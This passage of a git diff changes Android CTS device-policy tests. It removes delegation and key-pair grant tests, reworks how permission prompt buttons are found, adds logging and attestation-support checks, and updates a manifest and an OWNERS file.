- // Prepare the package name and scopes to be delegated.
- final String NON_EXISTENT_PKG = "com.android.nonexistent.delegate";
- final List<String> scopes = Arrays.asList(
- DELEGATION_CERT_INSTALL,
- DELEGATION_ENABLE_SYSTEM_APP);
- try {
- // Trying to delegate to non existent package should throw.
- setDelegatedScopes(NON_EXISTENT_PKG, scopes);
- fail("Should throw when delegating to non existent package");
- } catch(IllegalArgumentException expected) {
- }
- // Assert no scopes were delegated.
- assertTrue("Delegation scopes granted to non existent package", mDevicePolicyManager
- .getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, NON_EXISTENT_PKG).isEmpty());
- }
-
- public void testCanRetrieveDelegates() {
- final List<String> someScopes = Arrays.asList(
- DELEGATION_APP_RESTRICTIONS,
- DELEGATION_ENABLE_SYSTEM_APP);
- final List<String> otherScopes = Arrays.asList(
- DELEGATION_BLOCK_UNINSTALL,
- DELEGATION_ENABLE_SYSTEM_APP);
-
- // In the beginning there are no delegates.
- assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
- .isEmpty());
- assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
- .isEmpty());
- assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
- .isEmpty());
-
- // After delegating scopes to two packages.
- setDelegatedScopes(DELEGATE_PKG, someScopes);
- setDelegatedScopes(TEST_PKG, otherScopes);
-
- // The expected delegates are returned.
- assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
- .contains(DELEGATE_PKG));
- assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
- .contains(TEST_PKG));
- assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
- .contains(DELEGATE_PKG));
- assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
- .contains(TEST_PKG));
-
- // Packages are only returned in their recpective scopes.
- assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
- .contains(TEST_PKG));
- assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
- .contains(DELEGATE_PKG));
- assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
- .contains(DELEGATE_PKG));
- assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
- .contains(TEST_PKG));
- }
-
- public void testDeviceOwnerOrManagedPoOnlyDelegations() throws Exception {
- final String [] doOrManagedPoDelegations = { DELEGATION_NETWORK_LOGGING };
- final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
- mContext.getPackageName());
- final boolean isManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
- && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT);
- for (String scope : doOrManagedPoDelegations) {
- if (isDeviceOwner || isManagedProfileOwner) {
- try {
- setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope));
- } catch (SecurityException e) {
- fail("DO or managed PO fails to delegate " + scope + " exception: " + e);
- Log.e(TAG, "DO or managed PO fails to delegate " + scope, e);
- }
- } else {
- assertThrows("PO not in a managed profile shouldn't be able to delegate " + scope,
- SecurityException.class,
- () -> setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope)));
- }
- }
- }
-
- public void testDeviceOwnerOrOrgOwnedManagedPoOnlyDelegations() throws Exception {
- final String [] doOrOrgOwnedManagedPoDelegations = { DELEGATION_SECURITY_LOGGING };
- final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
- mContext.getPackageName());
- final boolean isOrgOwnedManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
- && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT)
- && mDevicePolicyManager.isOrganizationOwnedDeviceWithManagedProfile();
- for (String scope : doOrOrgOwnedManagedPoDelegations) {
- if (isDeviceOwner || isOrgOwnedManagedProfileOwner) {
- try {
- setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope));
- } catch (SecurityException e) {
- fail("DO or organization-owned managed PO fails to delegate " + scope
- + " exception: " + e);
- Log.e(TAG, "DO or organization-owned managed PO fails to delegate " + scope, e);
- }
- } else {
- assertThrows("PO not in an organization-owned managed profile shouldn't be able to "
- + "delegate " + scope,
- SecurityException.class,
- () -> setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope)));
- }
- }
- }
-
- public void testExclusiveDelegations() throws Exception {
- final List<String> exclusiveDelegations = new ArrayList<>(Arrays.asList(
- DELEGATION_CERT_SELECTION));
- if (mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName())) {
- exclusiveDelegations.add(DELEGATION_NETWORK_LOGGING);
- exclusiveDelegations.add(DELEGATION_SECURITY_LOGGING);
- }
- for (String scope : exclusiveDelegations) {
- testExclusiveDelegation(scope);
- }
- }
-
- private void testExclusiveDelegation(String scope) throws Exception {
-
- setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope));
- // Set exclusive scope on TEST_PKG should lead to the scope being removed from the
- // previous delegate DELEGATE_PKG
- setDelegatedScopes(TEST_PKG, Collections.singletonList(scope));
-
-
- assertThat(mDevicePolicyManager.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, TEST_PKG))
- .containsExactly(scope);
- assertThat(mDevicePolicyManager.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG))
- .isEmpty();
- }
-
- private List<String> getDelegatePackages(String scope) {
- List<String> packages = mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
- scope);
- Log.v(TAG, "getDelegatePackages(" + scope + "): " + packages);
- return packages;
- }
-
- private void startAndWaitDelegateActivity() throws InterruptedException {
- ComponentName componentName = new ComponentName(DELEGATE_PKG, DELEGATE_ACTIVITY_NAME);
- Log.d(TAG, "Starting " + componentName + " on user " + Process.myUserHandle());
- mContext.startActivity(new Intent()
- .setComponent(componentName)
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
- assertTrue("DelegateApp did not start in time.",
- mReceivedRunningSemaphore.tryAcquire(10, TimeUnit.SECONDS));
- }
-
- private String[] waitReportedScopes() throws InterruptedException {
- assertTrue("DelegateApp did not report scope in time.",
- mReceivedScopeReportSemaphore.tryAcquire(10, TimeUnit.SECONDS));
- return mReceivedScopes;
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 1568b33..eebc2bd 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -25,8 +25,6 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
-import static org.testng.Assert.assertThrows;
-
import static java.util.Collections.singleton;
import android.content.ComponentName;
@@ -57,7 +55,6 @@
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.security.GeneralSecurityException;
-import java.security.InvalidKeyException;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.NoSuchAlgorithmException;
@@ -85,7 +82,6 @@
private static final long KEYCHAIN_TIMEOUT_MINS = 6;
private static final String TEST_ALIAS = "KeyManagementTest-keypair";
- private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
@@ -136,34 +132,27 @@
super.tearDown();
}
+ // TODO(b/204544463): Remove when installKeyPair_withAutomatedAccess_aliasIsGranted is enabled
public void testCanInstallWithAutomaticAccess() throws Exception {
final String grant = "com.android.test.autogrant-key-1";
- final String withhold = "com.android.test.nongrant-key-1";
- // Install keypairs.
+ // Install keypair.
assertThat(
mDevicePolicyManager.installKeyPair(
getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, grant, true))
.isTrue();
- assertThat(
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, withhold, false))
- .isTrue();
try {
- // Verify only the requested key was actually granted.
+ // Verify the requested key was actually granted.
assertGranted(grant, true);
- assertGranted(withhold, false);
// Verify the granted key is actually obtainable in PrivateKey form.
assertThat(KeyChain.getPrivateKey(mActivity, grant).getAlgorithm()).isEqualTo("RSA");
} finally {
- // Delete both keypairs.
+ // Delete the keypair.
assertThat(mDevicePolicyManager.removeKeyPair(getWho(), grant)).isTrue();
- assertThat(mDevicePolicyManager.removeKeyPair(getWho(), withhold)).isTrue();
}
- // Verify they're actually gone.
+ // Verify it's actually gone.
assertGranted(grant, false);
- assertGranted(withhold, false);
}
private List<Certificate> loadCertificateChain(String assetName) throws Exception {
@@ -204,35 +193,6 @@
assertGranted(alias, false);
}
- public void testGrantsDoNotPersistBetweenInstallations() throws Exception {
- final String alias = "com.android.test.persistent-key-1";
-
- // Install keypair.
- assertThat(
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, true))
- .isTrue();
- try {
- assertGranted(alias, true);
- } finally {
- // Delete and verify.
- assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
- }
- assertGranted(alias, false);
-
- // Install again.
- assertThat(
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, false))
- .isTrue();
- try {
- assertGranted(alias, false);
- } finally {
- // Delete.
- assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
- }
- }
-
byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
byte[] data = new String("hello").getBytes();
Signature sign = Signature.getInstance(algoIdentifier);
@@ -279,6 +239,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testCanGenerateRSAKeyPairUsingStrongBox() throws Exception {
final String alias = "com.android.test.generated-rsa-sb-1";
try {
@@ -300,6 +261,7 @@
.build();
}
+ // TODO(b/198408853): Migrate
public void testCanGenerateECKeyPair() throws Exception {
final String alias = "com.android.test.generated-ec-1";
try {
@@ -312,6 +274,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testCanGenerateECKeyPairUsingStrongBox() throws Exception {
final String alias = "com.android.test.generated-ec-sb-1";
try {
@@ -457,7 +420,11 @@
* Test key generation, including requesting Key Attestation, for all supported key
* algorithms.
*/
+ // TODO(b/198408853): Migrate
public void testCanGenerateKeyPairWithKeyAttestation() throws Exception {
+ if (!isAttestationSupported()) {
+ return;
+ }
for (SupportedKeyAlgorithm supportedKey : SUPPORTED_KEY_ALGORITHMS) {
assertThat(
generateKeyAndCheckAttestation(
@@ -470,6 +437,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testCanGenerateKeyPairWithKeyAttestationUsingStrongBox() throws Exception {
try {
for (SupportedKeyAlgorithm supportedKey : SUPPORTED_KEY_ALGORITHMS) {
@@ -577,6 +545,7 @@
assertAllVariantsOfDeviceIdAttestation(true /* useStrongBox */);
}
+ // TODO(b/198408853): Migrate
public void testProfileOwnerCannotAttestDeviceUniqueIds() throws Exception {
if (isDeviceOwner()) {
return;
@@ -601,6 +570,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testUniqueDeviceAttestationUsingDifferentAttestationCert() throws Exception {
// This test is only applicable in modes where Device ID attestation can be performed
// _and_ the device has StrongBox, which is provisioned with individual attestation
@@ -662,6 +632,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testUniqueDeviceAttestationFailsWhenUnsupported() {
if (!isDeviceOwner() || !hasStrongBox()) {
return;
@@ -693,6 +664,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testCanSetKeyPairCert() throws Exception {
final String alias = "com.android.test.set-ec-1";
try {
@@ -724,6 +696,7 @@
}
}
+ // TODO(b/198408853): Migrate
public void testCanSetKeyPairCertChain() throws Exception {
final String alias = "com.android.test.set-ec-2";
try {
@@ -751,43 +724,6 @@
}
}
- public void testGetKeyPairGrants_NonExistent() {
- assertThrows(IllegalArgumentException.class,
- () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
- }
-
- public void testGetKeyPairGrants_NotGranted() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ false);
-
- assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
- }
-
- public void testGetKeyPairGrants_GrantedAtInstall() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ true);
-
- assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
- .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
- }
-
- public void testGetKeyPairGrants_GrantedExplicitly() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ false);
- mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
- assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
- .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
- }
-
- public void testGetKeyPairGrants_Revoked() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ true);
- mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
- assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
- }
-
public void testGetKeyPairGrants_SharedUid() throws Exception {
mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
TEST_ALIAS, /* requestAccess= */ false);
@@ -811,43 +747,6 @@
sharedUid, Set.of(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
}
- public void testIsWifiGrant_default() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ false);
-
- assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
- }
-
- public void testIsWifiGrant_allowed() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ false);
- assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
-
- assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isTrue();
- }
-
- public void testIsWifiGrant_denied() {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
- TEST_ALIAS, /* requestAccess= */ false);
- assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
- assertTrue(mDevicePolicyManager.revokeKeyPairFromWifiAuth(TEST_ALIAS));
-
- assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
- }
-
- public void testRevokeKeyPairFromApp_keyNotUsable() throws Exception {
- mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[] {mFakeCert},
- TEST_ALIAS, /* requestAccess=*/ true);
- // Key is requested from KeyChain prior to revoking the grant.
- final PrivateKey key = KeyChain.getPrivateKey(mContext, TEST_ALIAS);
- // Ensure the key is usable prior to being revoked.
- signDataWithKey("SHA256withRSA", key);
- mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
- // Key shouldn't be valid after the grant is revoked.
- assertThrows(InvalidKeyException.class, () -> signDataWithKey("SHA256withRSA", key));
- }
-
private void assertGranted(String alias, boolean expected)
throws InterruptedException, KeyChainException {
boolean granted = (KeyChain.getPrivateKey(mActivity, alias) != null);
@@ -935,4 +834,8 @@
boolean isUniqueDeviceAttestationSupported() {
return mDevicePolicyManager.isUniqueDeviceAttestationSupported();
}
+
+ private boolean isAttestationSupported() {
+ return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 47951b5..ed39c03 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -412,6 +412,8 @@
}
private void setPermissionPolicy(int permissionPolicy) {
+ Log.d(TAG, "Calling setPermissionPolicy(" + permissionPolicyToString(permissionPolicy)
+ + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid());
mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT, permissionPolicy);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index cdb7de5..32cc187 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -181,8 +181,10 @@
@SuppressWarnings("unused")
private static void logoutUser(Context context, DevicePolicyManager devicePolicyManager,
ComponentName componentName) {
- assertUserOperationResult(devicePolicyManager.logoutUser(componentName),
- UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
+ Log.d(TAG, "calling logutUser() on user " + context.getUserId());
+ int result = devicePolicyManager.logoutUser(componentName);
+ Log.d(TAG, "result: " + result);
+ assertUserOperationResult(result, UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
}
public void testCreateAndManageUser_LogoutUser() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index 614377c..0b21b15 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -18,15 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.nolauncheractivityapp">
<uses-permission android:name="android.permission.INTERNET" />
- <application>
- <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.VIEW" />
- </intent-filter>
- </activity>
- <service android:name=".EmptyService" android:enabled="true"></service>
- </application>
+ <application />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/SharingApps/OWNERS b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
index 2638902..a491b1e 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/OWNERS
+++ b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
@@ -1,5 +1,2 @@
# Bug component: 168445
-alexkershaw@google.com
-arangelov@google.com
-scottjonathan@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index f02e2f3..dc32c9a 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -23,6 +23,8 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assert.fail;
+
import android.Manifest;
import android.app.AppOpsManager;
import android.app.admin.DevicePolicyManager;
@@ -118,7 +120,7 @@
}
launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
packageName, activityName);
- pressPermissionPromptButton(device, resNames.toArray(new String[0]));
+ pressPermissionPromptButton(device, expected, resNames.toArray(new String[0]));
assertBroadcastReceived(receiver, expected);
}
@@ -129,8 +131,8 @@
launchIntent.putExtra(EXTRA_PERMISSION, permission);
launchIntent.setAction(action);
launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
- Log.d(LOG_TAG, "Launching activity with intent " + launchIntent + " on uid "
- + Process.myUid());
+ Log.d(LOG_TAG, "Launching activity (with intent " + launchIntent + ") for permission "
+ + permission + " on uid " + Process.myUid());
getContext().startActivity(launchIntent);
}
@@ -177,10 +179,30 @@
return InstrumentationRegistry.getInstrumentation().getContext();
}
- private static void pressPermissionPromptButton(UiDevice mDevice, String[] resNames) {
+ private static void pressPermissionPromptButton(UiDevice device, int expectedAction,
+ String[] resNames) {
+ UiObject2 button = findPermissionPromptButton(device, expectedAction, resNames);
+ Log.d(LOG_TAG, "Clicking on '" + button.getText() + "'");
+ button.click();
+ }
+
+ private static UiObject2 findPermissionPromptButton(UiDevice device, int expectedAction,
+ String[] resNames) {
if ((resNames == null) || (resNames.length == 0)) {
throw new IllegalArgumentException("resNames must not be null or empty");
}
+ String action;
+ switch (expectedAction) {
+ case PERMISSION_DENIED:
+ action = "PERMISSION_DENIED";
+ break;
+ case PERMISSION_GRANTED:
+ action = "PERMISSION_GRANTED";
+ break;
+ default:
+ throw new IllegalArgumentException("Invalid expected action: "
+ + expectedAction);
+ }
// The dialog was moved from the packageinstaller to the permissioncontroller.
// Search in multiple packages so the test is not affixed to a particular package.
@@ -189,64 +211,64 @@
"com.android.packageinstaller",
"com.android.permissioncontroller"};
- Log.v(LOG_TAG, "pressPermissionPromptButton(): pkgs= " + Arrays.toString(possiblePackages)
- + ", resIds=" + Arrays.toString(resNames));
-
- boolean foundButton = false;
+ Log.v(LOG_TAG, "findPermissionPromptButton(): pkgs= " + Arrays.toString(possiblePackages)
+ + ", action=" + action + ", resIds=" + Arrays.toString(resNames));
for (String resName : resNames) {
for (String possiblePkg : possiblePackages) {
BySelector selector = By
.clazz(android.widget.Button.class.getName())
.res(possiblePkg, resName);
Log.v(LOG_TAG, "trying " + selector);
- mDevice.wait(Until.hasObject(selector), 5000);
- UiObject2 button = mDevice.findObject(selector);
+ device.wait(Until.hasObject(selector), 5000);
+ UiObject2 button = device.findObject(selector);
Log.d(LOG_TAG, String.format("Resource %s in Package %s found? %b", resName,
possiblePkg, button != null));
if (button != null) {
- foundButton = true;
- Log.d(LOG_TAG, "Clicking on " + button.getText());
- button.click();
- break;
+ return button;
}
}
- if (foundButton) {
- break;
- }
}
- if (!sContext.getPackageManager()
- .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- assertWithMessage("Found button on packages %s", Arrays.toString(possiblePackages))
- .that(foundButton).isTrue();
- return;
+ if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ fail("Did not find button for action " + action + " on packages "
+ + Arrays.toString(possiblePackages));
}
+ return findPermissionPromptButtonAutomotive(device, expectedAction);
+ }
- // TODO: ideally the UI should use a more specific resource
+ private static UiObject2 findPermissionPromptButtonAutomotive(UiDevice device,
+ int expectedAction) {
+ // TODO: ideally the UI should use a more specific resource, so it doesn't need to search
+ // for text
Pattern resPattern = Pattern.compile(".*car_ui_list_item_title");
+ Pattern textPattern;
+ String action;
+ switch (expectedAction) {
+ case PERMISSION_DENIED:
+ action = "PERMISSION_DENIED";
+ textPattern = Pattern.compile("^Don’t allow$");
+ break;
+ case PERMISSION_GRANTED:
+ action = "PERMISSION_GRANTED";
+ textPattern = Pattern.compile("^Allow|While using the app$");
+ break;
+ default:
+ throw new IllegalArgumentException("Invalid expected action: " + expectedAction);
+ }
Log.i(LOG_TAG, "Button not found on automotive build; searching for " + resPattern
- + " regex instead");
+ + " res and " + textPattern + " text instead");
BySelector selector = By
.clazz(android.widget.TextView.class.getName())
+ .text(textPattern)
.res(resPattern);
Log.v(LOG_TAG, "selector: " + selector);
- mDevice.wait(Until.hasObject(selector), 5000);
- UiObject2 button = mDevice.findObject(selector);
- Log.d(LOG_TAG, "button: " + button);
- if (button != null) {
- String text = button.getText();
- // TODO: ideally value of text should not be hardcoded, but they are defined by
- // resources on PermissionController app (grant_dialog_button_allow and
- // grant_dialog_button_allow_foreground)
- if (text.equals("Allow") || text.equals("While using the app")) {
- foundButton = true;
- Log.d(LOG_TAG, "Clicking on '" + text + "'");
- button.click();
- }
- }
+ device.wait(Until.hasObject(selector), 5000);
+ UiObject2 button = device.findObject(selector);
+ Log.d(LOG_TAG, "button: " + button + (button == null ? "" : " (" + button.getText() + ")"));
+ assertWithMessage("Found button with res %s and text '%s'", resPattern, textPattern)
+ .that(button).isNotNull();
- assertWithMessage("Couldn't find any button with regex %s", resPattern)
- .that(foundButton).isTrue();
+ return button;
}
public static String permissionGrantStateToString(int state) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 992f6f1..c30543b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -186,6 +186,8 @@
/** Users we shouldn't delete in the tests */
private ArrayList<Integer> mFixedUsers;
+ protected boolean mHasAttestation;
+
private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
@Rule
@@ -205,6 +207,10 @@
mFixedPackages = getDevice().getInstalledPackageNames();
mBuildHelper = new CompatibilityBuildHelper(getBuild());
+ String propertyValue = getDevice().getProperty("ro.product.first_api_level");
+ if (propertyValue != null && !propertyValue.isEmpty()) {
+ mHasAttestation = Integer.parseInt(propertyValue) >= 26;
+ }
if (hasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN)) {
ensurePrimaryUserHasNoPassword();
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 7f781ec..bd1cb47 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -223,26 +223,6 @@
super.tearDown();
}
- // TODO(b/198641824):remove after fixing the failure in the migrated test
- @Test
- public void testCaCertManagement() throws Exception {
- executeDeviceTestClass(".CaCertManagementTest");
- }
-
- @Test
- public void testInstallCaCertLogged() throws Exception {
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".CaCertManagementTest", "testCanInstallAndUninstallACaCert");
- }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_CA_CERT_VALUE)
- .setAdminPackageName(DEVICE_ADMIN_PKG)
- .setBoolean(false)
- .build(),
- new DevicePolicyEventWrapper.Builder(EventId.UNINSTALL_CA_CERTS_VALUE)
- .setAdminPackageName(DEVICE_ADMIN_PKG)
- .setBoolean(false)
- .build());
- }
-
@Test
public void testApplicationRestrictionIsRestricted() throws Exception {
installAppAsUser(DELEGATE_APP_APK, mUserId);
@@ -254,53 +234,6 @@
"testAssertCallerIsApplicationRestrictionsManagingPackage", mUserId);
}
- @Test
- public void testApplicationRestrictions() throws Exception {
- installAppAsUser(DELEGATE_APP_APK, mUserId);
- installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
-
- try {
- // Only the DPC can manage app restrictions by default.
- executeDeviceTestClass(".ApplicationRestrictionsTest");
- executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
-
- // Letting the DELEGATE_APP_PKG manage app restrictions too.
- changeApplicationRestrictionsManagingPackage(DELEGATE_APP_PKG);
- executeAppRestrictionsManagingPackageTest("testCanAccessApis");
- runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest",
- "testSettingAdminComponentNameThrowsException", mUserId);
-
- // The DPC should still be able to manage app restrictions normally.
- executeDeviceTestClass(".ApplicationRestrictionsTest");
-
- // The app shouldn't be able to manage app restrictions for other users.
- int parentUserId = getPrimaryUser();
- if (parentUserId != mUserId) {
- installAppAsUser(DELEGATE_APP_APK, parentUserId);
- installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, parentUserId);
- runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsDelegateTest",
- "testCannotAccessApis", parentUserId);
- }
-
- // Revoking the permission for DELEGATE_APP_PKG to manage restrictions.
- changeApplicationRestrictionsManagingPackage(null);
- executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
-
- // The DPC should still be able to manage app restrictions normally.
- executeDeviceTestClass(".ApplicationRestrictionsTest");
-
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".ApplicationRestrictionsTest",
